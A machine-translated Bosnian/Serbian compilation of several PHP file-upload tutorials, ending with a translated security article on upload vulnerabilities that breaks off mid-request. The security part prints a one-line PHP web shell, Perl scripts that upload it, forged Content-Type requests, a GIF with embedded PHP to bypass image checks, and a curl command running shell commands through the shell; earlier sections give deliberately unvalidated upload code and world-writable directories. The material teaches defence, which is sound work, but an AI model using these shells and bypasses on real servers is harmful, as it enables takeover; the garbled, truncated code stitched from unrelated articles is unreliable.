Učitavanje datoteka pomoću PHP-a na server. Primjer učitavanja fajlova na server (upload) na php jeziku Pisanje skripte za proces upload-a

Ali na početku bih želio reći nekoliko riječi o tome kako se fajlovi učitavaju.

Da bismo to uradili, potreban nam je html obrazac sa poljem za unos kao što je . Osim toga, da biste prenijeli datoteke na server, morate postaviti tip obrasca višedijelni. Za ovo, kao parametar enctype vrijednost je naznačena multipart/form-data.

Nakon što postavimo obrazac sa poljem na html stranicu prozor pretraživača će prikazati polje sa mogućnošću odabira datoteke na lokalnom računaru.

Nakon što korisnik odabere željenu datoteku i klikne na dugme "Učitaj", obrazac će prenijeti podatke u php skriptu na serveru navedenom u akcija forme. Ako je radnja obrasca prazna, tada će se podaci prenijeti u istu datoteku na kojoj se obrazac nalazi. Sve informacije o učitanom fajlu su smeštene u niz $_FILES. Samo trebamo izdvojiti ove informacije i premjestiti datoteku na lokaciju koja nam je potrebna.

Prije nego počnete pisati skriptu za obradu višedelne forme, morate urediti konfiguracijsku datoteku php.ini da dozvolite učitavanje fajlova na server.

PHP konfiguracioni fajl php.ini ima tri opcije vezane za upload fajlova na server:

  • file_uploads = Uključeno - omogućava postavljanje datoteka na server preko HTTP protokola;
  • upoad_tmp_dir = /tmp - postavlja direktorij za privremeno skladištenje učitanih datoteka;
  • upload_max_filesize = 2M - postavlja maksimalnu veličinu učitanih datoteka.

Dakle, kreirajte novi fajl pod nazivom upload.php i kopirajte sljedeći kod u njega.

Ako pažljivo pogledate obrazac, vidjet ćete skriveno polje

Označava maksimalnu veličinu primljene datoteke u bajtovima. Ali ovoj vrijednosti ne treba vjerovati, jer je to samo obavijest i lako se može zaobići! Zato imajte to na umu!

Nakon što je korisnik odabrao datoteku i kliknuo na dugme "Učitaj", sve informacije o datoteci, kao što je ranije spomenuto, stavljaju se u niz $_FILES, a sam fajl se stavlja u privremeni direktorij na serveru, koji je navedeno u php.ini.

Pošto je polje datoteke pozvano name="uploadFile", tada će niz $_FILES sadržavati asocijativni niz sa ključem "uploadFile" .

  • $_FILES[" uploadFile "]["name"] - naziv datoteke prije nego što se pošalje na server, na primjer, pict.gif;
  • $_FILES[" uploadFile "]["size"] - veličina primljene datoteke u bajtovima;
  • $_FILES[" uploadFile "]["type"] - MIME tip primljenog fajla (ako ga pretraživač može odrediti), na primjer: image/gif, image/png, image/jpeg, text/html;
  • $_FILES[" uploadFile "]["tmp_name"] - sadrži naziv datoteke u privremenom direktoriju, na primjer: /tmp/phpV3b3qY;
  • $_FILES[" uploadFile "]["error"] - Šifra greške koja se može pojaviti prilikom učitavanja fajla.

Nakon što se skripta završi, privremena datoteka će biti izbrisana. To znači da ga moramo kopirati na drugu lokaciju prije nego što se skripta završi.

Dakle, otkrili smo algoritam! Sada pogledajmo kod.

Prije svega, provjeravamo da li je kliknuto na dugme za slanje.

If(isset($_POST["upload"])) ( )

If(is_uploaded_file($_FILES["uploadFile"]["tmp_name"])) (Izvrši radnju na fajlu) else ( echo "Datoteka nije otpremljena"; )

Ako je datoteka učitana putem HTTP POST-a, onda je premještamo iz privremenog direktorija u direktorij koji nam je potreban. Ovo se radi pomoću funkcije move_uploaded_file, koja uzima dva parametra: naziv datoteke za otpremanje i putanju na koju će datoteka biti premještena. U slučaju uspješnog prijenosa datoteke, ova funkcija će vratiti true, u suprotnom -false.

If(move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $uploadedFile)) ( echo Datoteka je otpremljena; ) else ( echo Došlo je do greške prilikom učitavanja datoteke; )

U našem slučaju, ime datoteke je ime privremene datoteke na serveru - $_FILES["uploadFile"]["tmp_name"], a direktorij u koji će datoteka biti premještena je varijabla $uploadedFile, koja je deklarirana iznad u skripti i sadrži novu lokaciju za pohranu datoteka.

$folder = "put/do/folder/"; $uploadedFile = $folder. basename($_FILES["uploadFile"]["name"]);

Iz vlastitog iskustva mogu reći da se originalni naziv datoteke ne isplati čuvati na serveru, pa se može preimenovati. Da bismo to učinili, generirat ćemo nasumično ime za našu datoteku, a funkcija move_uploaded_file() će premjestiti i preimenovati naš fajl:

// Dobijte ekstenziju datoteke $file_ext = strtolower(strrchr($_FILES["uploadFile"]["name"],".")); // Generiraj nasumični broj $file_name = uniqid(rand(10000,99999)); // Formirajte putanju na serveru $uploadedFile = $folder.$file_name.$file_ext;

I na kraju, daću listu moguće greške koji se dešavaju prilikom učitavanja datoteka na server. Podsjećamo, kod greške je pohranjen u varijablu $_FILES[" uploadFile "]["error"]:

  • 0 - Nije bilo grešaka, datoteka je uspješno otpremljena na server.
  • 1- Veličina primljene datoteke je premašila maksimalnu dozvoljenu veličinu, koja je postavljena upload_max_filesize direktivom konfiguracijske datoteke php.ini..
  • 2- Veličina otpremljene datoteke je premašila vrijednost MAX_FILE_SIZE Navedeno u HTML formi.
  • 3- Datoteka za preuzimanje je samo djelimično primljena.
  • 4- Datoteka nije učitana.
  • 6- Nema privremene fascikle.
  • 7- Zapisivanje datoteka na disk nije uspjelo.

Kao što vidite, organiziranje otpremanja datoteka na server nije tako teško. Teže osigurati potreban nivo sigurnost, budući da napadači mogu koristiti otpremanje datoteka na server za napad na server.

Koristeći našu skriptu, napadač će moći da otpremi proizvoljne fajlove na server, na primer, moći će da otpremi php skriptu na server koji može rekurzivno da obriše sve vaše fajlove na serveru ili PHP ljusci, pa ako napišete vaš vlastiti uploader fajlova, onda ovo pitanje treba shvatiti ozbiljno, a da ništa ne propustite.

U našem primjeru nisam sebi postavio takav zadatak, već sam vam samo pokazao cijeli mehanizam za učitavanje datoteka na server, ali u sljedećem članku ću vam pokazati kako osigurati potreban nivo sigurnosti!

Vjerovatno su mnogi naišli na pitanje "Kako prenijeti datoteku na server koristeći JS i JQuery?".
I vjerovatno nisu svi to uspjeli. U stvari, nije sve tako teško kao što se čini.
U ovoj lekciji ću opisati proces učitavanja fajla na server (hosting).
Ajax tehnologija se koristi za razmjenu podataka između pretraživača i web servera.
Verzija jQueryja korištena u receptu: 2.2.2.

Kreiramo primitivne oznake od html, head i body oznaka.
U oznaci head morate napisati putanju do jquery biblioteke.
U primjeru koristim jquery sa google servera.

U oznaci body kreiramo obrazac koji se sastoji od ulazne oznake i dugmeta.
Input type="file" odabire fajl za upload.
Oznaka dugmeta je potrebna za pokretanje js koda za prijenos datoteke.

Postavite formu name="uploader", enctype="multipart/form-data", method="POST".
Naziv obrasca: name="uploader"
Kako kodirati podatke obrasca: enctype="multipart/form-data"
Način prijenosa podataka: method="POST"

Pošaljite ovaj fajl:

Sav html i js kod za označavanje:

Pošaljite ovaj fajl:

Pređimo na kod java skripte.
Da biste predali datoteku, morate poslati cijeli obrazac:
$("forma").submit(funkcija(e) (

Čitamo podatke obrasca u varijablu:
var formData = new FormData($(this));

Zatim koristimo ajax tehnologiju za prijenos podataka na web server.
Ako je prijenos datoteke bio uspješan, u iskačućem prozoru će se prikazati poruka.
Ako dođe do greške ili datoteka nedostaje, prikazat će se poruka s tekstom problema.
$.ajax(( url: "file.php", tip: "POST", podaci: formData, async: false, uspjeh: funkcija (msg) ( upozorenje(msg); ), greška: funkcija (msg) ( upozorenje( "Greška!"); ), cache: false, contentType: false, processData: false ));

Sav kod java skripte koristeći jquery:

Sada na strani servera postoji kod za primanje podataka iz obrasca pomoću metode POST zahtjeva.

Dobijamo korijenski direktorij stranice i dodjeljujemo folder za učitavanje datoteka:
$uploaddir = $_SERVER["DOCUMENT_ROOT"].DIRECTORY_SEPARATOR."uploads".DIRECTORY_SEPARATOR;

Čitanje učitanog fajla:
$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);

Provjerite je li datoteka učitana.
U skladu sa pristiglim podacima, dodeljujemo prateću poruku.
Ako datoteka nije učitana, prenesite u direktorij naveden u $uploadfile:
if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) ( $out = "Datoteka je važeća i uspješno je otpremljena.\n"; ) else ( $out = "Mogući napad otpremanja fajla !\" n";)

Kada se izvrše navedene radnje, vraća se odgovor.

Sav kod u php:

Cijeli html kod uključujući js:

Pošaljite ovaj fajl:

Preuzmite fajl sa izvornim kodom:

Višedelni obrasci

  • Web sučelja e-mail servisa koji vam omogućavaju da dodate prilog (attach) pismu, a za to morate prvo prenijeti datoteku na server, a tek nakon toga se može dodati pismu;
  • Interaktivne foto galerije i foto albumi koji ne mogu postojati bez mehanizma za upload fajlova na server;
  • Portali besplatnog softvera koji se koriste za dijeljenje datoteka između različitih programa itd.

Datoteka se učitava na server pomoću višedijelnog obrasca koji ima polje za otpremanje datoteke. Parametar enctype je postavljen na multipart/form-data :



Ovako će izgledati gornji višedijelni obrazac (možete ga pokušati koristiti da vidite rezultat višedijelnih obrazaca tako što ćete učitati neki mali fajl na server):

Višedijelni obrasci obično koriste POST metod podnošenja. Kao što možete vidjeti iz prethodnog primjera, ovaj obrazac ima dva polja:

  • Polje za odabir datoteke za otpremanje ;
  • Polje za određivanje imena datoteke koju će morati imati na serveru .

Rukovanje višedelnim obrascima

Prije nego počnete pisati skriptu za obradu višedijelnih obrazaca, morate urediti konfiguracijsku datoteku php.ini da dozvolite učitavanje fajlova na server.

PHP php.ini konfiguracioni fajl ima tri opcije koje se odnose na upload fajlova na server:

  • file_uploads=Uključeno - omogućava postavljanje datoteka na server preko HTTP protokola;
  • upload_tmp_dir=/tmp - postavlja direktorij za privremeno skladištenje učitanih datoteka;
  • upload_max_filesize=2M - postavlja maksimalnu veličinu učitanih fajlova.

Ako vaš web server radi operativni sistem Linux, morate ponovo pokrenuti uslugu:

servis httpd restart

Kako PHP obrađuje višedijelne obrasce? Nakon što primi datoteku, sprema je u privremeni direktorij upload_tmp_dir, ime datoteke se bira nasumično. Zatim kreira četiri varijable u superglobalnom nizu $_FILES. Ovaj niz sadrži informacije o učitanoj datoteci.

Varijable definirane za otpremljene datoteke zavise od PHP verzije i trenutne konfiguracije. Superglobalni niz $_FILES dostupan je od PHP 4.1.0. Ako je konfiguracijska direktiva register_globals postavljena na on, varijable s odgovarajućim imenima će biti dodatno deklarirane. Od verzije 4.2.0 zadana vrijednost za opciju register_globals je isključeno.

Sadržaj $_FILES niza za naš primjer je prikazan ispod. Imajte na umu da se ovdje pretpostavlja ime uploadfile za polje za odabir datoteke, prema gornjem višedijelnom obrascu. Naravno, naziv polja može biti bilo koji.

  • $_FILES["uploadfile"]["name"] - naziv datoteke prije nego što se pošalje na server, na primjer, pict.gif;
  • $_FILES["uploadfile"]["size"] - veličina primljene datoteke u bajtovima;
  • $_FILES["uploadfile"]["type"] - MIME tip primljenog fajla (ako ga pretraživač može odrediti), na primjer: image/gif, image/png, image/jpeg, text/html;
  • (tako smo nazvali polje za učitavanje datoteke) - sadrži naziv datoteke u privremenom direktoriju, na primjer: /tmp/phpV3b3qY;
  • $_FILES["uploadfile"]["error"] -Šifra greške koja se može pojaviti prilikom učitavanja datoteke. Ključ ["greška"] je dodat u PHP 4.2.0. Možete pronaći odgovarajuće kodove grešaka

Nakon što se skripta završi, privremena datoteka će biti izbrisana. To znači da ga moramo kopirati na drugu lokaciju prije nego što se skripta završi. Odnosno, algoritam skripte za učitavanje datoteke na server je sljedeći:

Ako se pritisne dugme "Pošalji", datoteka će već biti učitana na server i njeno ime će biti u promenljivoj $_FILES["uploadfile"]["name"]. U ovom slučaju, skripta treba odmah kopirati imenovani fajl $_FILES["uploadfile"]["tmp_name"] u neki direktorij (zahtijeva dozvole za pisanje u ovaj direktorij).

Funkcija kopira fajl kopiraj() :

Koristite samo funkciju copy(), a ne premještajte, jer:

  • Privremeni fajl će se automatski izbrisati;
  • Ako se privremeni direktorij nalazi na drugom mediju, prikazat će se poruka o grešci.

Recimo da želimo da otpremimo datoteku u direktorijum za otpremanje, koji se nalazi u korenskom direktorijumu veb servera (u direktorijumu DocumentRoot).

// Kreirajte direktorij za svaki slučaj. Ako je već kreiran,
// nećemo vidjeti poruku o grešci jer koristimo @ operator:

@mkdir("uploads", 0777);

// Kopiraj fajl iz /tmp u uploads
// Ime datoteke će biti isto kao i prije nego što je poslana na server:

Kopiraj($_FILES["uploadfile"]["tmp_name"],"uploads/".basename($_FILES["uploadfile"]["name"]));

Na Linuxu su stvari mnogo složenije - moramo uzeti u obzir dozvole za upload direktorij. Najvjerovatnije u ovom slučaju, funkcija mkdir() neće raditi jer nemamo pristup za pisanje u DocumentRoot direktorij (obično /var/www/html ili /home/httpd/html). Prijavite se na sistem kao root, kreirajte direktorij za otpremanje i promijenite njegovog vlasnika i dozvole na sljedeći način:

// Kreirajte direktorij za otpremanje

// Postavite ime vlasnika apachea i njegove grupe - također apache:

Chown apache:apache uploads

// Omogućavanje svima da pišu (777) + postavljanje ljepljivog bita (1):

Chmod 1777 otpremanja

Veličina datoteke može biti ograničena, po želji možete urediti .htaccess datoteku i ograničiti pristup direktoriju za otpremanje - navedite ili određene korisnike koji mogu pristupiti direktoriju ili IP adrese.

Sada možete uploadati fajlove na server.

Pisanje PHP skripte za upload fajlova na server


// Direktorij u koji ćemo primiti datoteku:
$ uploaddir = "./files/" ;
$uploadfile = $uploaddir. basename($_FILES["uploadfile"]["name"]);

// Kopiraj datoteku iz direktorija za privremenu pohranu datoteka:
if (copy($_FILES["uploadfile"]["tmp_name"], $uploadfile))
{
echo "

Fajl je uspješno poslat na server

" ;
}
drugo (eho "

Greška! Prijenos fajla na server nije uspio!

"
; Izlaz; )

// Prikaži informacije o učitanom fajlu:
echo "

Informacije o datoteci učitanoj na server:

"
;
echo "

Originalni naziv učitanog fajla: ".$ _FILES [ "uploadfile" ][ "name" ]. "

" ;
echo "

Mime tip učitanog fajla: ".$_FILES [ "uploadfile" ][ "type" ]. "

" ;
echo "

Veličina preuzete datoteke u bajtovima: ".$_FILES [ "uploadfile" ][ "size" ]. "

" ;
echo "

Privremeni naziv fajla: ".$_FILES [ "uploadfile" ][ "tmp_name" ]. "

" ;

?>

Prijenos više datoteka može se implementirati korištenjem, na primjer, različitih vrijednosti imena za ulaznu oznaku.

Takođe pruža mogućnost automatskog dobijanja informacija organizovanih u niz informacija o nekoliko istovremeno preuzetih datoteka. Za implementaciju ove funkcije, koristite istu sintaksu za slanje niza iz HTML obrasca kao i za višestruka polja za odabir i potvrdni okvir:


Pošaljite ove fajlove:






U slučaju da je takav obrazac dostavljen, nizovi $_FILES["userfile"] , $_FILES["userfile"]["name"] i $_FILES["userfile"]["size"] će biti inicijalizirani (u na isti način, kao i $HTTP_POST_FILES za PHP 4.1.0 i ranije). Ako je konfiguracijska direktiva register_globals postavljena na uključeno, prateće globalne varijable će također biti inicijalizirane. Svaka od ovih varijabli bit će numerički indeksirani niz odgovarajućih vrijednosti za primljene datoteke.

Pretpostavimo da su datoteke /home/test/some.html i /home/test/file.bin učitane. U ovom slučaju, varijabla $_FILES["userfile"]["name"] će imati vrijednost some.html , a varijabla $_FILES["userfile"]["name"] će imati vrijednost file.bin. Slično, $_FILES["userfile"]["size"] će sadržavati veličinu neke.html datoteke i tako dalje.

Varijable $_FILES["userfile"]["name"] , $_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["size"] i $_FILES["userfile"]["type"] će također biti inicijalizirani.

zaključak:

Kao što vidite, organiziranje otpremanja datoteka na server nije tako teško. Teže je obezbediti neophodan nivo bezbednosti, pošto upload fajlova na server mogu da koriste napadači za napad na server. Za informacije o tome kako osigurati neophodan nivo sigurnosti pri radu sa otpremanjima, pogledajte.



<<< Назад Sadržaj Naprijed >>>
Ako imate još pitanja ili nešto nije jasno - dobrodošli kod nas

Sigurno često uploadovao razne fajlove na web stranice. Na primjer, postavljene avatare na forum, fotografije na društvenim mrežama, razni video snimci na video hostingu, samo fajlovi na fajl hostingu. A u ovom članku ćete naučiti kako učitati fajlove na server u php. Gotovo je PHP u većini slučajeva to se provodi.

Prva stvar koju treba naučiti je to HTML forma, u koji je datoteka zamijenjena, ne bi trebao biti sasvim običan, evo primjera HTML kod ovaj obrazac:





Ključna stvar ovdje je atribut " enctype"sa značenjem" multipart/form-data". Ništa neće raditi bez toga.

", u koji još nećemo učitavati datoteku, ali ćemo proći kroz nekoliko važnih tačaka koje se moraju uzeti u obzir, inače sigurnost može biti ugrožena:

print_r($_FILES);
?>

Kao rezultat, vidjet ćete sadržaj globalni dvodimenzionalni niz $_FILES:

  • ime- naziv učitanog fajla.
  • tip - MIME-tip preuzeta datoteka. Ovo je možda najvažnija sigurnosna postavka. I uvijek kada primate fajlove, morate provjeriti MIME-tip inače nećete imati problema. U sljedećem članku ćemo o tome detaljnije govoriti.
  • tmp_name- fizička putanja do privremene datoteke. Na ovo mjesto se postavlja datoteka, a tek onda je prenosimo na drugu lokaciju. U stvari, fajl je već uploadan i samo ga trebamo premjestiti u pravi folder na serveru.
  • greška- kod greške. Ako a 0 , onda nema grešaka.
  • veličina- veličina učitanog fajla. Ovo je također često korištena opcija, a također je potrebno provjeriti da bi se to učinilo ograničiti veličinu učitanih datoteka. Naravno, ova veličina je ograničena samim serverom, međutim, za bilo koju sliku, ova veličina je očito previsoka (po pravilu, 10 MB).

I sve ove opcije su prisutne za svaki učitani fajl (od kojih je svaka niz u dvodimenzionalnom nizu $_FILES).

Sada da završimo sa učitavanje fajlova na server u PHP-u, a za to pišemo sljedeći kod (""):

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Odnosno, prvo postavljamo putanju do preuzete datoteke na serveru. Ovdje želimo staviti datoteku u direktorij " slike" sa istim imenom kao i prethodni fajl. I funkcija premjestiti_uploaded_file() premeštamo datoteku u direktorijum po našem izboru iz njegovog privremenog skladišta.

Međutim, imajte na umu da je ovo veoma važno! Ni u kom slučaju ne biste trebali koristiti kod na ovaj način, inače će vaša stranica biće u ozbiljnoj opasnosti! Zapravo, trenutno se apsolutno sve može učitati: bilo koje izvršne datoteke, skripte, HTML stranice i druge veoma opasne stvari. Stoga je imperativ vrlo pažljivo provjeriti otpremljene datoteke na server. I to je ono što ćemo učiniti u sljedećem članku. Budući da je tema vrlo važna, savjetujem vam da se pretplatite na ažuriranja kako ne biste propustili ovaj članak.

Ovaj članak pokazuje glavne propuste u web aplikacijama za učitavanje datoteka na server i kako ih izbjeći. Članak sadrži same osnove, u vryat-hoće li biti od interesa za profesionalce. Ali bez obzira na to, svaki PHP programer bi to trebao znati.

Različite web aplikacije omogućavaju korisnicima da uploaduju fajlove. Forumi dozvoljavaju korisnicima da postavljaju "avatare". Foto galerije vam omogućavaju postavljanje fotografija. Društvene mreže pružaju opcije za postavljanje slika, video zapisa itd. Blogovi vam omogućavaju da ponovo učitavate avatare i/ili slike.

Često, otpremanje datoteka bez adekvatnih sigurnosnih kontrola dovodi do ranjivosti koje su se pokazale kao pravi problem u PHP web aplikacijama.

Tekući testovi su pokazali da mnoge web aplikacije imaju mnogo sigurnosnih problema. Ove "rupe" pružaju napadačima široke mogućnosti za izvođenje neovlaštenih radnji, od pregleda bilo kojeg fajla na serveru i preuzimanja ga izvršavanjem proizvoljnog koda. Ovaj članak govori o glavnim sigurnosnim rupama i kako ih izbjeći.

Kod za primjere navedene u ovom članku možete preuzeti na:
www.scanit.be/uploads/php-file-upload-examples.zip .

Ako ih želite koristiti, provjerite da server koji koristite nije dostupan s Interneta ili bilo koje druge javne mreže. Primeri pokazuju različite ranjivosti koje mogu biti opasne ako se izvrše na serveru dostupnom spolja.

Redovno slanje fajlova

Učitavanje fajlova se obično sastoji od dve nezavisne funkcije - prihvatanja fajlova od korisnika i prikazivanja fajlova korisniku. Oba dijela mogu biti izvor ranjivosti. Pogledajmo sljedeći kod (upload1.php):
$uploaddir = "uploads/" ; // Relativna staza ispod webroot-a


echo ;
}
?>


Obično će korisnici učitavati fajlove koristeći obrazac poput ovog:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Odaberite fajl za otpremanje:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* Ovaj izvorni kod je označen sa izvornim kodom Highlighter.

Napadač neće koristiti ovaj obrazac. On može napisati malu Perl skriptu (moguće na bilo kom jeziku - napomena prevodioca), koji će oponašati radnje korisnika za učitavanje datoteka kako bi promijenio podatke koji se šalju po vašem ukusu.

U ovom slučaju, otpremanje sadrži veliku sigurnosnu rupu: upload1.php omogućava korisnicima da uploaduju proizvoljne datoteke u korijen stranice. Napadač može učitati PHP datoteku koja omogućava izvršavanje proizvoljnih komandi ljuske na serveru uz privilegiju procesa web servera. Takva skripta se zove PHP-Shell. Evo najjednostavnijeg primjera takve skripte:

system($_GET["komanda"]);
?>

Ako je ova skripta na serveru, onda možete izvršiti bilo koju naredbu putem zahtjeva:
server/shell.php?command=any_Unix_shell_command

Naprednije PHP shelove možete pronaći na mreži. Oni mogu učitavati proizvoljne datoteke, izvršavati SQL upite i tako dalje.

Izvor Perl prikazan ispod postavlja PHP-Shell na server koristeći upload1.php:

#!/usr/bin/perl
koristiti LWP; # koristimo libwwwperl
koristiti HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php",
Content_Type => "podaci obrasca" ,
sadržaj => ,],);

Ispis $res->as_string();


* Ovaj izvorni kod je označen sa izvornim kodom Highlighter.

Ova skripta koristi libwwwperl, što je zgodna Perl biblioteka koja emulira HTTP klijenta.

A evo šta se dešava kada se ova skripta izvrši:

Zahtjev:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0,3
Priključak: TE, zatvoreno
Host: localhost

Dužina sadržaja: 156

--xYzZY

Content-Type: text/plain
system($_GET["komanda"]);
?>
--xYzZY-

odgovor:
HTTP/1.1 200 OK
Datum: Sreda, 13. jun 2007. 12:25:32 GMT
Server: Apache

Dužina sadržaja: 48
Veza: zatvorena
Content-Type: text/html
Datoteka je važeća i uspješno je otpremljena.

Nakon što smo preuzeli shell skriptu, možemo bezbedno pokrenuti naredbu:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) grupe=81(apache)

cURL je HTTP klijent komandne linije dostupan na Unix-u i Windows-u. Ovo je vrlo koristan alat za testiranje web aplikacija. cURL se može preuzeti sa curl.haxx.se

Provjera tipa sadržaja

Gore navedeni primjer rijetko je slučaj. U većini slučajeva, programeri koriste jednostavne provjere kako bi osigurali da korisnici uploaduju datoteke određene vrste. Na primjer, korištenjem zaglavlja Content-Type:

Primjer 2 (upload2.php):

if ($_FILES[;
Izlaz;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* Ovaj izvorni kod je označen sa izvornim kodom Highlighter.

U ovom slučaju, ako napadač samo pokuša da preuzme shell.php, naš kod će provjeriti MIME tip preuzete datoteke u zahtjevu i filtrirati nepotrebne.

Zahtjev:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0,3
Priključak: TE, zatvoreno
Host: localhost
Korisnički agent: libwww-perl/5.803
Content-Type: multipart/form-data; granica=xYzZY
Dužina sadržaja: 156
--xYzZY
Content-Disposition: obrazac-podaci; name="korisnički fajl"; filename="shell.php"
Content-Type: text/plain
system($_GET["komanda"]);
?>
--xYzZY--

odgovor:
HTTP/1.1 200 OK
Datum: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Dužina sadržaja: 41
Veza: zatvorena
Content-Type: text/html
Zasada je dobro. Nažalost, postoji način da se zaobiđe ova zaštita, jer MIME tip koji se provjerava dolazi zajedno sa zahtjevom. U zahtjevu iznad postavljeno je na "text/plain" (instalira ga pretraživač - napomena prevodioca). Ništa ne može spriječiti napadača da ga postavi na "image/gif", jer korištenjem emulacije klijenta ima potpunu kontrolu nad zahtjevom koji šalje (upload2.pl):
#!/usr/bin/perl
#
koristiti LWP;
koristiti HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php",
Content_Type => "podaci obrasca" ,
sadržaj => ,],);

Ispis $res->as_string();

* Ovaj izvorni kod je označen sa izvornim kodom Highlighter.

I evo šta se dešava.

Zahtjev:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0,3
Priključak: TE, zatvoreno
Host: localhost
Korisnički agent: libwww-perl/5.803
Content-Type: multipart/form-data; granica=xYzZY
Dužina sadržaja: 155
--xYzZY
Content-Disposition: obrazac-podaci; name="korisnički fajl"; filename="shell.php"
Vrsta sadržaja: slika/gif
system($_GET["komanda"]);
?>
--xYzZY-

odgovor:
HTTP/1.1 200 OK
Datum: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Dužina sadržaja: 59
Veza: zatvorena
Content-Type: text/html

Kao rezultat toga, naš upload2.pl krivotvori zaglavlje Content-Type, prisiljavajući server da prihvati datoteku.

Provjera sadržaja slikovne datoteke

Umjesto da vjeruje zaglavlju Content-Type, PHP programer bi mogao provjeriti stvarni sadržaj otpremljene datoteke kako bi se uvjerio da je to zapravo slika. PHP getimagesize() funkcija se često koristi za ovo. Uzima ime datoteke kao argument i vraća niz veličina i tipa slike. Razmotrite primjer upload3.php ispod.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
echo "Žao nam je, prihvatamo samo GIF i JPEG slike\n";
Izlaz;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* Ovaj izvorni kod je označen sa izvornim kodom Highlighter.

Sada, ako napadač pokuša da otpremi shell.php, čak i ako postavi zaglavlje Content-Type na "image/gif", upload3.php će i dalje ispustiti grešku.

Zahtjev:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0,3
Priključak: TE, zatvoreno
Host: localhost
Korisnički agent: libwww-perl/5.803
Content-Type: multipart/form-data; granica=xYzZY
Dužina sadržaja: 155
--xYzZY
Content-Disposition: obrazac-podaci; name="korisnički fajl"; filename="shell.php"
Vrsta sadržaja: slika/gif
system($_GET["komanda"]);
?>
--xYzZY-

odgovor:
HTTP/1.1 200 OK
Datum: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Dužina sadržaja: 42
Veza: zatvorena
Content-Type: text/html
Žao nam je, prihvatamo samo GIF i JPEG slike

Možda mislite da sada možemo biti sigurni da će se učitavati samo GIF ili JPEG datoteke. Nažalost, nije. Datoteka zaista može biti u GIF ili JPEG formatu, au isto vrijeme i PHP skripta. Većina formata slika omogućava dodavanje tekstualnih metapodataka na sliku. Moguće je kreirati savršeno ispravnu sliku koja sadrži neki PHP kod u ovim metapodacima. Kada getimagesize() pogleda datoteku, interpretiraće je kao važeći GIF ili JPEG. Kada PHP prevodilac pogleda datoteku, vidi izvršni PHP kod u nekom binarnom "smeću" koje će biti zanemareno. Primjer datoteke pod nazivom crocus.gif uključen je u primjer (pogledajte početak članka). Takva slika se može kreirati u bilo kojem grafičkom uređivaču.

Dakle, napravimo perl skriptu za učitavanje naše slike:

#!/usr/bin/perl
#
koristiti LWP;
koristiti HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php",
Content_Type => "podaci obrasca" ,
Sadržaj => , ],);

Ispis $res->as_string();

* Ovaj izvorni kod je označen sa izvornim kodom Highlighter.

Ovaj kod uzima datoteku crocus.gif i učitava je pod imenom crocus.php. Izvršenje će rezultirati sljedećim:

Zahtjev:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0,3
Priključak: TE, zatvoreno
Host: localhost
Korisnički agent: libwww-perl/5.803
Content-Type: multipart/form-data; granica=xYzZY
dužina sadržaja: 14835
--xYzZY

Vrsta sadržaja: slika/gif
GIF89a(...neki binarni podaci...)(... preskakanje ostatka binarnih podataka...)
--xYzZY-

odgovor:
HTTP/1.1 200 OK
Datum: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Dužina sadržaja: 59
Veza: zatvorena
Content-Type: text/html
Datoteka je važeća i uspješno je otpremljena.

Sada napadač može izvršiti uploads/crocus.php i dobiti sljedeće:

Kao što vidite, PHP prevodilac ignoriše binarne podatke na početku slike i izvršava sekvencu "“ u GIF komentaru.

Provjera ekstenzije prenesenog fajla

Čitalac ovog članka mogao bi se zapitati zašto jednostavno ne provjerimo ekstenziju učitane datoteke? Ako ne dozvolimo učitavanje *.php fajlova, server nikada neće moći da izvrši tu datoteku kao skriptu. Pogledajmo i ovaj pristup.

Možemo staviti na crnu listu ekstenzije datoteka i provjeriti ime učitane datoteke, zanemarujući upload datoteke sa izvršnim ekstenzijama (upload4.php):

$blacklist = array(.php" , ".phtml" , ".php3" , ".php4" );
foreach ($crna lista kao $item) (
if (preg_match(;
Izlaz;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>


* Ovaj izvorni kod je označen sa izvornim kodom Highlighter.

Izraz preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) odgovara imenu datoteke koju je odredio korisnik u nizu crne liste. Modifikator "i" kaže da naš izraz nije osjetljiv na velika i mala slova. Ako ekstenzija datoteke odgovara jednoj od stavki na crnoj listi, datoteka neće biti učitana.

Ako pokušamo da učitamo .php fajl, to će rezultirati greškom:

Zahtjev:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0,3
Priključak: TE, zatvoreno
Host: localhost
